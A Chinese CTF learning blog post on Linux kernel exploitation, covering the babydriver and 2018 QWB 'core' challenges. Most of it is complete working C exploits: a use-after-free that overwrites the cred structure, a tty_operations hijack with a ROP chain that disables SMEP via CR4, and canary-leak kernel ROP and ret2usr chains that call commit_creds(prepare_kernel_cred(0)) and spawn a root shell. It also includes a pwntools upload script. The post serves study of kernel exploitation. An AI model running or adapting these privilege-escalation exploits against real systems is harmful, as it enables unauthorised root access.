linux oj内核,linux 内核 pwn入门

linux 内核 pwn入门

最近把缺掉的知识一点一点补,面先补全了,然后在进行一方面的深入,涉及了下linux 内核 pwn部分的学习,本来想编写结构体大小生成的代码的,奈何储备知识不够,普通方法太麻烦,现在略过,到时候学会了在补上

找cred结构体大小

读源码

这种方法可以找到,太费力了

kuid跟kgid大小为

/include/uapi/asm-generic/posix_types.h

可以找到1

2

3

4#ifndef __kernel_uid32_t

typedef unsigned int__kernel_uid32_t;

typedef unsigned int__kernel_gid32_t;

#endif

atomic_t大小1

2

3typedef struct {

int counter;

} atomic_t;

kernel_cap_t1

2

3

4

5typedefunsigned int__u32;

#define _LINUX_CAPABILITY_U32S_3 2

typedef struct kernel_cap_struct {

__u32 cap[_KERNEL_CAPABILITY_U32S];

} kernel_cap_t;

所以就是unsigned int cap[2]

..下次再说吧,这个太麻烦了,找了下

编译文件获取cred结构体大小

如果只需要结果,建议直接翻到最底下看,前面都是出错如何解决而已

下载源码

编译报错1

2

3

4

5

6

7

8

9

10

11

12

13

14

15make -C ../linux-4.4.72/ M=/home/noone/Desktop/babydriver/get_cred modules

make[1]: Entering directory '/home/noone/Desktop/babydriver/linux-4.4.72'

ERROR: Kernel configuration is invalid.

include/generated/autoconf.h or include/config/auto.conf are missing.

Run 'make oldconfig && make prepare' on kernel src to fix it.

WARNING: Symbol version dump ./Module.symvers

is missing; modules will have no dependencies and modversions.

CC [M] /home/noone/Desktop/babydriver/get_cred/demo.o

In file included from :

././include/linux/kconfig.h:4:10: fatal error: generated/autoconf.h: No such file or directory

4 | #include

照着报错做

Run ‘make oldconfig && make prepare’ on kernel src to fix it.

在源码目录下执行命令,一路回车

然后再次编译,继续报错1/bin/sh: 1: ./scripts/recordmcount: not found

查找解决方案1make recordmcount

报错1

2scripts/extract-cert.c:21:10: fatal error: openssl/bio.h: No such file or directory

21 | #include xxxxxxxxxx scripts/extract-cert.c:21:10: fatal error: openssl/bio.h: No such file or directory   21 | #include scripts/extract-cert.c:21:10: fatal error: openssl/bio.h: No such file or directorybash

解决1sudo apt-get install libssl-dev

继续执行1make modules_prepare

这时候make成功了

然而警告是致命的1WARNING: Symbol version dump ./Module.symvers is missing; modules will have no dependenci

这句话让其无法识别1insmod: can't insert '/lib/modules/4.4.72/hello.ko': invalid module format

这时候查到解决方案,编译内核

编译完后,运行又报错1

2[ 6.539340] hello: disagrees about version of symbol module_layout

insmod: can't insert '/lib/modules/4.4.72/hello.ko': invalid module format

这个…听说关掉检测就行,

Enable loadable module support -> module versioning support

关掉后,编译还是这样…

最终我准备patch babydriver的驱动,让其打印出来,对比我自己编译跟babydriver驱动的时候,我发觉了..

6faa605a30be894a1840b1f8cdc54368.png

只要编译完就好了,然后反汇编,编译器优化把数值显示出来了…,根本不需要运行了…

好难啊…,一天就搞了这个问题

找tty部分大小1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26//hello.c

#include

#include

#include

#include

#include

MODULE_LICENSE("Dual BSD/GPL");

struct cred c1;

struct tty_struct t1;

static int hello_init(void)

{

//printk("<1> Hello world!\n");

printk("size of cred : %d \n",sizeof(t1));

printk("size of cred : %d \n",sizeof(t1.kref));

printk("size of cred : %d \n",sizeof(t1.dev));

printk("size of cred : %d \n",sizeof(t1.driver));

printk("size of cred : %d \n",sizeof(t1.ops));

return 0;

}

static void hello_exit(void)

{

printk("<1> Bye, cruel world\n");

}

module_init(hello_init);

module_exit(hello_exit);

这里不改名了,打印tty前面1

2

3

4

5

6struct tty_struct {

int magic;

struct kref kref;

struct device *dev;

struct tty_driver *driver;

const struct tty_operations *ops;

部分大小

d0e3883f46ec9ba30ceaf66d39678026.png

这里可以看到tty整体大小为0x2e0, 到tty_operations为:4+4+16=24=3*8

f478357abc4eff24d73f0e5d9c29bb19.png

打印代码一键生成1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38from pyclibrary import CParser

parser = CParser(['./header.h'])

members = list(parser.defs['variables'].keys())

print(members)

with open("header.h") as f:

code = f.read()

code = code.strip().split("\n")

result = '''

//put your own header first

#include

#include

#include

MODULE_LICENSE("Dual BSD/GPL");

'''

result += code[0][:-1] + "test;"

result += '''

static int hello_init(void)

{

'''

for member in members:

result += " printk(\"{}: %d\", sizeof(test.{}));\n".format(member, member)

result += '''

return 0;

}

'''

result += '''

static void hello_exit(void)

{

printk("<1> Bye, cruel world\\n");

}

module_init(hello_init);

module_exit(hello_exit);

'''

print(result)

babydriver

这道题漏洞点在ctf-wiki有详细叙述,具体不说了,我查找cred结构体大小方法在上面也阐述过了,这里直接进入exp编写

uaf改cred

通过man查看ioctl用途

b38414989141b6347713df8db8d40f9f.png

这里可以看到,第一个参数fd为一个打开的文件描述符

第二个参数为一个request code,这里

bc218085496b35e87da1f3ee44f15e7d.png

babyioctl里用的是0x10001

第三个参数为可选参数

第一个文件描述符,我们知道其要与设备交互,看到这里

ae99da6a223f93389949e02856b10270.png

他注册了一个babydev的设备,所以我们可以打开/dev/babydev下,返回文件描述符1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47#include

#include

#include

#include

#include

#include

int main()

{

int fd1,fd2;

fd1 = open("/dev/babydev", 2);

fd2 = open("/dev/babydev", 2);

//0xa8 sizeof(cred struct)

ioctl(fd1, 0x10001, 0xa8);

// cause uaf

close(fd1);

pid_t fpid;//fork return

fpid = fork();

if(fpid < 0)

{

printf("fork error");

exit(0);

}

else if(fpid == 0)

{

//change kuid_t

//28

char buf[29]={0};

write(fd2, buf,28);

if(getuid() == 0)

{

puts("root now");

//get bash

system("/bin/sh");

exit(0);

}

}

else

{

wait(NULL);

printf("pid %d", fpid);

}

close(fd2);

return 0;

}

问题总结在该系统下无法使用printf输出,我用printf结果是没有输出

同时wait函数是关键,没有wait无法成功拿shell

wait通常与fork同时出现,这里查阅资料得知

在fork函数执行前,只有一个进程在执行这段代码,在这fork过后,就变成两个进程在执行了,两个进程代码完全相同,将要执行的都是下一句,同时子进程fork的返回值这里也就是fpid跟父进程的fpid不相同, 子进程的fpid为0, 而父进程的fpid为新创建子进程的进程id,所以需要在else阶段阻塞父进程,等待子进程执行完毕过后在继续父进程,不然会直接结束

bypass SMEP ret2usr

为了防止 ret2usr 攻击,内核开发者提出了 smep 保护,smep 全称 Supervisor Mode Execution Protection,是内核的一种保护措施,作用是当 CPU 处于 ring0 模式时,执行 用户空间的代码 会触发页错误;这个保护在 arm 中被称为 PXN。

这道题用ropper跑不出gadget,直接卡死了,用ropgadget跑,半分钟不到就跑完了1cat g1 | grep '.*: pop rdi ; ret' | head -1

利用正则找gadget

af693e01967ff0840b0e9572d14ad305.png

cr41

2

3└──╼ $cat g1 | grep '.*: mov cr4'

0xffffffff8105c085 : mov cr4, rax ; jmp 0xffffffff8105c08d

0xffffffff81004d80 : mov cr4, rdi ; pop rbp ; ret

swapgs1

2

3└──╼ $cat g1 | grep '.*: swapgs'

0xffffffff8181bebc : swapgs ; jmp 0xffffffff8181bec4

0xffffffff81063694 : swapgs ; pop rbp ; ret

iretq用ROPgadget无法找到,直接查看汇编1

2└──╼ $objdump -S vmlinux | grep iretq

ffffffff8181a797:48 cf iretq

查看smep保护

23b267e4e170e11018c6a92fc828ebea.png

这里看到了开启了

调试下ROP过程

d864194fd44766957a032a740ef843f5.png

开头进行栈迁移,这里看到rsp就是pop rdi

da451a53cadd1a5ea1e48a2aad44950a.png

有点不一样的是,这里的rop居然跑到了0xff开头的空间里去了,

a2b753ee2b7aa6bce39ec9a4ad6bf90d.png

pop rdi过后将 cr4 设置为0x6f0,关闭smep保护,然后转到用户态执行

a793418482c1a3679962be5fa926468f.png

就是执行prepare_kernel_cred以及commit_creds

然后通过swapgs恢复gs值

6f334de2905d5e9eade85c2869e43eb1.png

返回到iretq,恢复现场

这里注意几个细节点

为什么攻击tty结构体?

在open(“/dev/ptmx”)的时候会创建tty结构体,而tty结构体里有个tty_operation含有大量函数指针,我们修改其中一个,让其转移到我们伪造的tty结构体上,迁移到ROP链条上攻击

过程?

我们是攻击write函数,在调用write的时候,此时rax刚好为tty_operations的首地址

在for循环的时候,我们设置了mov rsp,rax, 这里就是将栈转移到fake_tty结构体上,

然后此时,在将rsp转移到我们的ROP链上,这时候才开始ROP

必要条件:我们能够伪造这个tty结构体,这里用了uaf的洞1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81#include

#include

#include

#include

#include

#include

#include

#define prepare_kernel_cred_addr 0xffffffff810a1810

#define commit_creds_addr 0xffffffff810a1420

void* fake_tty_operations[30];

size_t user_cs, user_ss, user_rflags, user_sp;

void save_status()

{

__asm__("mov user_cs, cs;"

"mov user_ss, ss;"

"mov user_sp, rsp;"

"pushf;"

"pop user_rflags;"

);

puts("[*]status has been saved.");

}

void get_shell()

{

system("/bin/sh");

}

void get_root()

{

char* (*pkc)(int) = prepare_kernel_cred_addr;

void (*cc)(char*) = commit_creds_addr;

(*cc)((*pkc)(0));

}

int main()

{

save_status();

int i = 0;

size_t rop[32] = {0};

rop[i++] = 0xffffffff810d238d; // pop rdi; ret;

rop[i++] = 0x6f0;

rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;

rop[i++] = 0;

rop[i++] = (size_t)get_root;

rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;

rop[i++] = 0;

rop[i++] = 0xffffffff814e35ef; // iretq; ret;

rop[i++] = (size_t)get_shell;

rop[i++] = user_cs; /* saved CS */

rop[i++] = user_rflags; /* saved EFLAGS */

rop[i++] = user_sp;

rop[i++] = user_ss;

for(int i = 0; i < 30; i++)

{

fake_tty_operations[i] = 0xFFFFFFFF8181BFC5;

}

fake_tty_operations[0] = 0xffffffff810635f5; //pop rax; pop rbp; ret;

fake_tty_operations[1] = (size_t)rop;

fake_tty_operations[3] = 0xFFFFFFFF8181BFC5; // mov rsp,rax ; dec ebx ; ret

int fd1 = open("/dev/babydev", O_RDWR);

int fd2 = open("/dev/babydev", O_RDWR);

ioctl(fd1, 0x10001, 0x2e0);

close(fd1);

int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);

size_t fake_tty_struct[4] = {0};

read(fd2, fake_tty_struct, 32);

fake_tty_struct[3] = (size_t)fake_tty_operations;

write(fd2,fake_tty_struct, 32);

char buf[0x8] = {0};

write(fd_tty, buf, 8);

return 0;

}

2018强网杯 core

ROP

基地址

f0978b1365791f9606611e9e6fbef920.png

这里主要是因为kaslr保护,所以起来后的文件有偏移,动态获取后,得到一个offset,在将静态获取的地址加上这个offset便是真实地址了fuckfuck1

fuck2

rop过程

这里重复的不多说,主要测试下rop过程

64d0805eb7b653d08b0403c69f605464.png

这里进入了prepare_kernel_cred

f8637c109a8f65adffedae16b7ae15da.png

出来后又pop_rdx

f627d933d8486224919c5ece86d06edc.png

执行完cmmit_creds后

然后返回到用户态

e25071e9c76f509e35599939c6759a09.png

然后起shell

这里可以看到1

2

3

4

5pop rdx; ret

pop rcx; ret

mov rdi, rax; call rdx;

这里跟往常不怎么一样,不过原理还是rop,先执行pop rdx,然后执行mov rdi,rax,然后在执行pop ecx, ret

细节点

编译1gcc exploit.c -static -masm=intel -g -o exploit

方便调试查看 root启动1setsid /bin/cttyhack setuidgid 0 /bin/sh

查看.text1cat /sys/modules/core/section/.text

add-symbol-file1add-symbol-file ./core.ko /sys/modules/core/section/.text

这样可以带符号下断了

这个让我自己做还是很难的,调试别人exp相对容易些,自己编写感觉暂时做不出

exp1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185// gcc exploit.c -static -masm=intel -g -o exploit

#include

#include

#include

#include

#include

#include

#include

#include

void spawn_shell()

{

if(!getuid())

{

system("/bin/sh");

}

else

{

puts("[*]spawn shell error!");

}

exit(0);

}

size_t commit_creds = 0, prepare_kernel_cred = 0;

size_t raw_vmlinux_base = 0xffffffff81000000;

/*

* give_to_player [master●●] check ./core.ko

./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436d

[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'

Arch: amd64-64-little

RELRO: No RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (0x0)

*/

size_t vmlinux_base = 0;

size_t find_symbols()

{

FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");

/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

if(kallsyms_fd < 0)

{

puts("[*]open kallsyms error!");

exit(0);

}

char buf[0x30] = {0};

while(fgets(buf, 0x30, kallsyms_fd))

{

if(commit_creds & prepare_kernel_cred)

return 0;

if(strstr(buf, "commit_creds") && !commit_creds)

{

/* puts(buf); */

char hex[20] = {0};

strncpy(hex, buf, 16);

/* printf("hex: %s\n", hex); */

sscanf(hex, "%llx", &commit_creds);

printf("commit_creds addr: %p\n", commit_creds);

/*

* give_to_player [master●●] bpython

bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/n

>>> from pwn import *

>>> vmlinux = ELF("./vmlinux")

[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmli'

Arch: amd64-64-little

RELRO: No RELRO

Stack: Canary found

NX: NX disabled

PIE: No PIE (0xffffffff81000000)

RWX: Has RWX segments

>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)

'0x9c8e0'

*/

vmlinux_base = commit_creds - 0x9c8e0;

printf("vmlinux_base addr: %p\n", vmlinux_base);

}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)

{

/* puts(buf); */

char hex[20] = {0};

strncpy(hex, buf, 16);

sscanf(hex, "%llx", &prepare_kernel_cred);

printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);

vmlinux_base = prepare_kernel_cred - 0x9cce0;

/* printf("vmlinux_base addr: %p\n", vmlinux_base); */

}

}

if(!(prepare_kernel_cred & commit_creds))

{

puts("[*]Error!");

exit(0);

}

}

size_t user_cs, user_ss, user_rflags, user_sp;

void save_status()

{

__asm__("mov user_cs, cs;"

"mov user_ss, ss;"

"mov user_sp, rsp;"

"pushf;"

"pop user_rflags;"

);

puts("[*]status has been saved.");

}

void set_off(int fd, long long idx)

{

printf("[*]set off to %ld\n", idx);

ioctl(fd, 0x6677889C, idx);

}

void core_read(int fd, char *buf)

{

puts("[*]read to buf.");

ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)

{

printf("[*]copy from user with size: %ld\n", size);

ioctl(fd, 0x6677889A, size);

}

int main()

{

save_status();

int fd = open("/proc/core", 2);

if(fd < 0)

{

puts("[*]open /proc/core error!");

exit(0);

}

find_symbols();

// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;

ssize_t offset = vmlinux_base - raw_vmlinux_base;

set_off(fd, 0x40);

char buf[0x40] = {0};

core_read(fd, buf);

size_t canary = ((size_t *)buf)[0];

printf("[+]canary: %p\n", canary);

size_t rop[0x1000] = {0};

int i;

for(i = 0; i < 10; i++)

{

rop[i] = canary;

}

rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret

rop[i++] = 0;

rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret

rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret

rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;

rop[i++] = commit_creds;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret

rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;

rop[i++] = user_rflags;

rop[i++] = user_sp;

rop[i++] = user_ss;

write(fd, rop, 0x800);

core_copy_func(fd, 0xffffffffffff0000 | (0x100));

return 0;

}

ret2usr

rop过程

直接转到用户态了

0c977c2a96b646eba7d8a1b622e83164.png

到用户态后,在往下直接运行起来了

这里可以看到ret2usr确实是直接返回到用户态执行,commit_creds(prepare_kernel_cred(0)),通过函数指针执行

而常规ROP构造相对复杂些

exp1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136#include

#include

#include

#include

#include

#include

#include

size_t user_cs, user_ss, user_rflags, user_sp;

void save_status()

{

__asm__("mov user_cs, cs;"

"mov user_ss, ss;"

"mov user_sp, rsp;"

"pushf;"

"pop user_rflags;"

);

puts("[*]status has been saved.");

}

void get_shell(void){

system("/bin/sh");

}

size_t commit_creds = 0, prepare_kernel_cred = 0;

size_t raw_vmlinux_base = 0xffffffff81000000;

size_t vmlinux_base = 0;

size_t find_symbols()

{

FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");

/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

if(kallsyms_fd < 0)

{

puts("[*]open kallsyms error!");

exit(0);

}

char buf[0x30] = {0};

while(fgets(buf, 0x30, kallsyms_fd))

{

if(commit_creds & prepare_kernel_cred)

return 0;

if(strstr(buf, "commit_creds") && !commit_creds)

{

/* puts(buf); */

char hex[20] = {0};

strncpy(hex, buf, 16);

/* printf("hex: %s\n", hex); */

sscanf(hex, "%llx", &commit_creds);

printf("commit_creds addr: %p\n", commit_creds);

vmlinux_base = commit_creds - 0x9c8e0;

printf("vmlinux_base addr: %p\n", vmlinux_base);

}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)

{

/* puts(buf); */

char hex[20] = {0};

strncpy(hex, buf, 16);

sscanf(hex, "%llx", &prepare_kernel_cred);

printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);

vmlinux_base = prepare_kernel_cred - 0x9cce0;

/* printf("vmlinux_base addr: %p\n", vmlinux_base); */

}

}

if(!(prepare_kernel_cred & commit_creds))

{

puts("[*]Error!");

exit(0);

}

}

void get_root()

{

char* (*pkc)(int) = prepare_kernel_cred;

void (*cc)(char*) = commit_creds;

(*cc)((*pkc)(0));

/* puts("[*] root now."); */

}

void set_off(int fd, long long idx)

{

printf("[*]set off to %ld\n", idx);

ioctl(fd, 0x6677889C, idx);

}

void core_read(int fd, char *buf)

{

puts("[*]read to buf.");

ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)

{

printf("[*]copy from user with size: %ld\n", size);

ioctl(fd, 0x6677889A, size);

}

int main(void)

{

find_symbols();

size_t offset = vmlinux_base - raw_vmlinux_base;

save_status();

int fd = open("/proc/core",O_RDWR);

set_off(fd, 0x40);

size_t buf[0x40/8];

core_read(fd, buf);

size_t canary = buf[0];

printf("[*]canary : %p\n", canary);

size_t rop[0x30] = {0};

rop[8] = canary ;

rop[10] = (size_t)get_root;

rop[11] = 0xffffffff81a012da + offset; // swapgs; popfq; ret

rop[12] = 0;

rop[13] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[14] = (size_t)get_shell;

rop[15] = user_cs;

rop[16] = user_rflags;

rop[17] = user_sp;

rop[18] = user_ss;

puts("[*] DEBUG: ");

getchar();

write(fd, rop, 0x30 * 8);

core_copy_func(fd, 0xffffffffffff0000 | (0x100));

}

2018 0CTF Finals Baby Kernel

占坑,double Fetch,暂时不进行学习

备份上传脚本1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54#!/usr/bin/python

from pwn import *

HOST = "35.221.78.115"

PORT = 10022

USER = "pwn"

PW = "pwn"

def compile():

log.info("Compile")

os.system("musl-gcc -w -s -static -o3 pwn2.c -o pwn")

def exec_cmd(cmd):

r.sendline(cmd)

r.recvuntil("$ ")

def upload():

p = log.progress("Upload")

with open("pwn", "rb") as f:

data = f.read()

encoded = base64.b64encode(data)

r.recvuntil("$ ")

for i in range(0, len(encoded), 300):

p.status("%d / %d" % (i, len(encoded)))

exec_cmd("echo \"%s\" >> benc" % (encoded[i:i+300]))

exec_cmd("cat benc | base64 -d > bout")

exec_cmd("chmod +x bout")

p.success()

def exploit(r):

compile()

upload()

r.interactive()

return

if __name__ == "__main__":

if len(sys.argv) > 1:

session = ssh(USER, HOST, PORT, PW)

r = session.run("/bin/sh")

exploit(r)

else:

r = process("./startvm.sh")

print util.proc.pidof(r)

pause()

exploit(r)

总结改cred结构体大小感觉相对利用简单一些,我做的时候,难点在于获取cred结构体大小,具体过程已经记录下来了

改tty结构体,也就是改函数指针,这个也需要计算结构体大小,已经覆盖部分大小,具体也是通过编译文件直接获得,我这里

ret2usr这种方法构造的rop链相对简单一些,在内核态进行ROP的过程稍微复杂一些

smep保护是可以关闭的

内核pwn的exp编写相对复杂一些,用纯c编写,这个过程我具体只做了babydriver那题的cred部分,这个还让我学了下fork以及wait

参考

ctf-wiki

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值